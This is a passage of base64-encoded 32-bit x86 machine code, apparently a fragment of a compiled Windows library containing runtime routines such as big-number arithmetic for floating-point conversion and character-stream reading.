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AImFLP7//8HgAlCNhcD4//9QjYUw/v//U1DoCOcAAIPEEDPAhf91GlCJhbz4//+JhSz+//+NhcD4//9QU+nAAQAAi50s/v//QImd6Pb//zv4D4TIAQAAhdsPhMABAAAzyTP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15OkK////O8ONtcD4//8PksGEyXUgjbUw/v//jZXA+P//iZXc9v//hMl0EovQiZXo9v//6xCNlTD+///r5IvTiZ3o9v//hMl1AovYM8kz/4mNXPz//4XSD4QPAQAAjYVg/P//K/CJtbT2//+NBL6LhAVg/P//iYWk9v//hcB1HTv5D4XcAAAAIYS9YPz//41PAYmNXPz//+nHAAAAM9IzwImV2Pb//4v3iYW89v//hdsPhJgAAACD/nN0WzvxdReDpLVg/P//AEADx4mFXPz//4uFvPb//4uN3Pb//4sEgfelpPb//wOF2Pb//4PSAAGEtWD8//+Lhbz2//+LjVz8//+D0gBAiZXY9v//RomFvPb//zvDdaCF0nQ0g/5zD4TsAAAAO/F1EYOktWD8//8AjUYBiYVc/P//i8Iz0gGEtWD8//+LjVz8//8T0kbryIP+cw+EuAAAAIuV6Pb//4u1tPb//0c7+g+F//7//4vBiY0s/v//weACUI2FYPz//1BozAEAAI2FMP7//1DoGeUAALABi50s/v//g8QQiZ3o9v//hMB0MYuFyPb//yuF0Pb//4mFyPb//w+Fh/z//4uNuPb//4XJD4S3AAAAizyNnDkHEIX/dUyDpbz4//8AjYXA+P//g6Us/v//AGoAUI2FMP7//2jMAQAAUOir5AAAi4Us/v//g8QQiYXo9v//63kz242F8Pb//4md7Pb//+kh/f//i4Xo9v//g/8BdFuFwHRXM8mL2DP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15IuFLP7//4XJdKqD+HMPg3D///+JjIUw/v//i4Us/v//QImF6Pb//4mFLP7//+sGi4Xo9v//i5Xk9v//hdIPhIIAAAAzyYXAdB6LwjPSAYSNMP7//4uFLP7//xPSiYXo9v//QTvIdeKF0nRag/hzcxyJlIUw/v//i50s/v//Q4md6Pb//4mdLP7//+s/g6W8+P//AI2FwPj//4OlLP7//wBqAFCNhTD+//9ozAEAAFDoouMAAIudLP7//4PEEImd6Pb//+sGi53o9v//i4XM9v//hcAPhBMEAABqCjPSWffxiYXY9v//i8qJjbj2//+FwA+ErQMAAIP4JnYDaiZYD7YMhQY5BxAPtjSFBzkHEIv5iYW89v//wecCV40EMYmFvPj//42FwPj//2oAUOiMff//i8bB4AJQi4W89v//D7cEhQQ5BxCNBIUAMAcQUI2FwPj//wPHUOjiPAEAi4W8+P//M8lBg8QYO8EPh5QAAACLvcD4//+F/3VDM8BQiYXs9v//iYUs/v//jYXw9v//UGjMAQAAjYUw/v//UOi24gAAg8QQi50s/v//sAGJnej2//+Lnej2///pwQIAADv5dQSKwevthdt0+DPJM/aLx/ektTD+//8DwYmEtTD+//+D0gBGi8o783Xk6acAAACJjIUw/v//i50s/v//Q4mdLP7//+umO9kPh9cAAACLvTD+//+7zAEAAImFLP7//8HgAlCNhcD4//9QjYUw/v//U1DoIuIAAIPEEDPAhf91GlCJhbz4//+JhSz+//+NhcD4//9QU+k9////i50s/v//QImd6Pb//zv4D4RF////hdsPhD3///8zyTP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15IXJD4QH////i4Us/v//g/hzD4JC////M9uNhcD4//9TUI2FMP7//4mdvPj//2jMAQAAUImdLP7//+iE4QAAisODxBCLnSz+///pyf7//zvDjZXA+P//D5LBhMl1Bo2VMP7//4mV5Pb//42VMP7//4TJdQaNlcD4//+Jlcj2//+EyXQKi/iJvdz2///rCIv7iZ3c9v//hMl1AovYM9Iz9omVXPz//4X/D4QHAQAAi4Xk9v//jY1g/P//K8GJheT2//+NBLCLhAVg/P//iYXM9v//hcB1HTvyD4XIAAAAIYS1YPz//41WAYmVXPz//+mzAAAAM8Az/4mF0Pb//4vOhdsPhJAAAACD+XN0UzvKdReDpI1g/P//AEADxomFXPz//4uF0Pb//4uVyPb//4sEgvelzPb//wPHg9IAAYSNYPz//4uF0Pb//4PSAEBBiYXQ9v//i/qLlVz8//87w3Wohf90NIP5cw+E/AAAADvKdRGDpI1g/P//AI1BAYmFXPz//4vHM/8BhI1g/P//i5Vc/P//E/9B68iD+XMPhMgAAACLvdz2//+LheT2//9GO/cPhQ3///+LwomVLP7//8HgAlCNhWD8//9QjYUw/v//aMwBAABQ6OrfAACDxBCwAYudLP7//4md6Pb//4TAD4SnAAAAi4XY9v//K4W89v//iYXY9v//D4VZ/P//i4249v//hcl0RYs8jZw5BxCF/w+FiAAAADPAUImFvPj//4mFLP7//42FwPj//1CNhTD+//9ozAEAAFDoed8AAIPEEIudLP7//4md6Pb//4XbD4XsAAAAM8npBQEAADPAUImF7Pb//4mFLP7//42F8Pb//1CNhTD+//9ozAEAAFDoNN8AAIPEEDLA6UX///+Dpbz4//8Ag6Us/v//AGoA62SD/wF0qYXbdK0zyTP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15IXJD4Rx////i4Us/v//g/hzcxmJjIUw/v//i50s/v//Q4mdLP7//+lT////M8CJhbz4//+JhSz+//9QjYXA+P//UI2FMP7//2jMAQAAUOic3gAAi4Ww9v//g8QQ/7Wo9v//D7aACAMAAFDonu7//1lZagNY6Y4RAACLhJ0s/v//g6XM9v//AA+9wHQDQOsCM8CNS//B4QUDyIuF4Pb//4mNvPb//zuNrPb//w+DKREAAIXAD4QhEQAAi73U9v//M9sz9omd5Pb//zPJiZ2M+v//ibXc9v//O73E9v//D4Q9BgAAg/kJD4UEAQAAhdsPhIYAAAAzyb4Aypo7M/+LhL2Q+v//9+YDwYmEvZD6//+D0gBHi8o7+3Xki7Xc9v//hcl0S4uFjPr//4P4c3MWiYyFkPr//4udjPr//0OJnYz6///rMDPAUImFvPj//4mFjPr//42FwPj//1CNhZD6//9ozAEAAFDohN0AAIPEEIudjPr//4u91Pb//4X2dG4zyYXbdBiLxjP2AYSNkPr//4udjPr//xP2QTvLdeiF9nRMg/tzcxaJtJ2Q+v//i52M+v//Q4mdjPr//+sxg6W8+P//AI2FwPj//4OljPr//wBqAFCNhZD6//9ozAEAAFDoDN0AAIudjPr//4PEEDP2M8kPtgdr9goD8EFHibXc9v//ib3U9v//O73E9v//D4XR/v//iZ3k9v//hckPhPoEAACLwTPSagpZ9/GJhcj2//+LyomNtPb//4XAD4RtAwAAg/gmdgNqJlgPtgyFBjkHEA+2NIUH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AQAAUOiK1QAAi41c/P//g8QQMsDpo/7//zvBjbXA+P//D5LChNJ1eY21YPz//429wPj//4m9xPb//4mF2Pb//4TSdQiJjdj2//+LyDPSM/+Jlez2//85ldj2//8PhCUBAACNhfD2//8r8Im1uPb//40EvouEBfD2//+Jhcz2//+FwHUlO/oPhe4AAAAhhL3w9v//jVcBiZXs9v//6dkAAACNvWD8///ri4Ol1Pb//wAzwImF3Pb//4v3hckPhKkAAACD/nN0WzvydReDpLXw9v//AEADx4mF7Pb//4uF3Pb//4uVxPb//4sEgvelzPb//wOF1Pb//4PSAAGEtfD2//+Lhdz2//+D0gBARomV1Pb//4uV7Pb//4mF3Pb//zvBdaCDvdT2//8AdECD/nMPhAABAAA78nURg6S18Pb//wCNRgGJhez2//+LhdT2//8z0gGEtfD2//8T0kaJldT2//+F0ouV7Pb//3XAg/5zD4TAAAAAi7W49v//Rzu92Pb//w+F6f7//4vCiZVc/P//weACUI2F8Pb//1CNhWD8//9ozAEAAFDo6NMAAIPEELABi41c/P//iY3g9v//hMAPhKEAAACLhcj2//8rhdD2//+Jhcj2//8PhSz8//+LlbT2//+F0g+EPQEAAIsElZw5BxCJhcz2//+FwHV8UImF1PT//4mFXPz//42F2PT//1CNhWD8//9ozAEAAFDoc9MAAIPEEIuNXPz//4mN4Pb//+n5AAAAM8BQiYXU9P//iYVc/P//jYXY9P//UI2FYPz//2jMAQAAUOg40wAAg8QQMsDpS////4Ol1PT//wCDpVz8//8AagDrc4P4AQ+EpwAAAIXJD4SfAAAAM/8z9vektWD8//8Dx4mEtWD8//+Lhcz2//+D0gBGi/o78XXghf8PhG////+LhVz8//+D+HNzHIm8hWD8//+LjVz8//9BiY3g9v//iY1c/P//61IzwImF1PT//4mFXPz//1CNhdj0//9QjYVg/P//aMwBAABQ6JHSAACLhbD2//+DxBD/taj2//8PtoAIAwAAUOin5///WVlqAunw8///i43g9v//hdt1BDP26yCLhJ2M+v//g6XM9v//AA+9wHQDQOsCM8CNc//B5gUD8IXJdQQz0usgi4SNXPz//4OlzPb//wAPvcB0A0DrAjPAjVH/weIFA9CLwivGO/Jq/xv2I/CJtdT2//9fD4atAQAAi4XU9v//M9KD4B/B7gVqIFkryImFyPb//zPAibXc9v//QImNuPb//+hnKAEAi4ydjPr//0gPvcmJhbT2///30ImFzPb//3QDQesCM8lqIFgrwY0UHjmFyPb//4mV0Pb//w+XwIP6c4iFw/b//w+XwYP6c3UIhMB0BLAB6wIywITJD4XqAAAAhMAPheIAAACD+nJyCWpyWomV0Pb//4vKiY3Y9v//O9cPhI8AAACLhdz2//+L8ivwjZWQ+v//jRSyO8hybDvzcwSLAusCM8CJhcT2//+NRv87w3MFi0L86wIzwCOFzPb//4PqBIuNuPb//4udxPb//yOdtPb//9Poi43I9v//0+OLjdj2//8Lw4mEjZD6//9JTomN2Pb//zvPdA6LnYz6//+Lhdz2///rkIuV0Pb//4u13Pb//4X2dA8zwI29kPr//4vO86uDz/+AvcP2//8AjVoBi43g9v//i7XU9v//dQKL2omdjPr//+s8M8BQiYXU9P//iYWM+v//jYXY9P//UI2FkPr//2jMAQAAUOhl0AAAi52M+v//g8QQi43g9v//i7XU9v//i5Ws9v//i4W89v//K9CJlaz2//+FwHQri8I78HYh/7Wo9v//i4Ww9v//agEPtoAIAwAAUP+1vPb//+kaAwAAi9Ar1jvZdzlyMI1L/zvPdDCLhI2Q+v//O4SNYPz//3UFSTvPdes7z3QXi4SNkPr//zuEjWD8//93B0aJtdT2//+L8jPAg+Ifwe4FaiBZK8qJlcj2//9AibXc9v//M9KJjbj2///oPiYBAIuMnYz6//9ID73JiYW09v//99CJhcz2//90BY1BAesCM8BqIFkryI0UHjmNyPb//4mV0Pb//w+XwIP6c4iFw/b//w+XwYP6c3UIhMB0BLAB6wIywITJD4XkAAAAhMAPhdwAAACD+nJyCWpyWomV0Pb//4vKiY3Y9v//O9cPhI8AAACLhdz2//+L8ivwjZWQ+v//jRSyO8hybDvzcwSLAusCM8CJhcT2//+NRv87w3MFi0L86wIzwCOFzPb//4PqBIuNuPb//4udxPb//yOdtPb//9Poi43I9v//0+OLjdj2//8Lw4mEjZD6//9JTomN2Pb//zvPdA6LnYz6//+Lhdz2///rkIuV0Pb//4u13Pb//4X2dA8zwI29kPr/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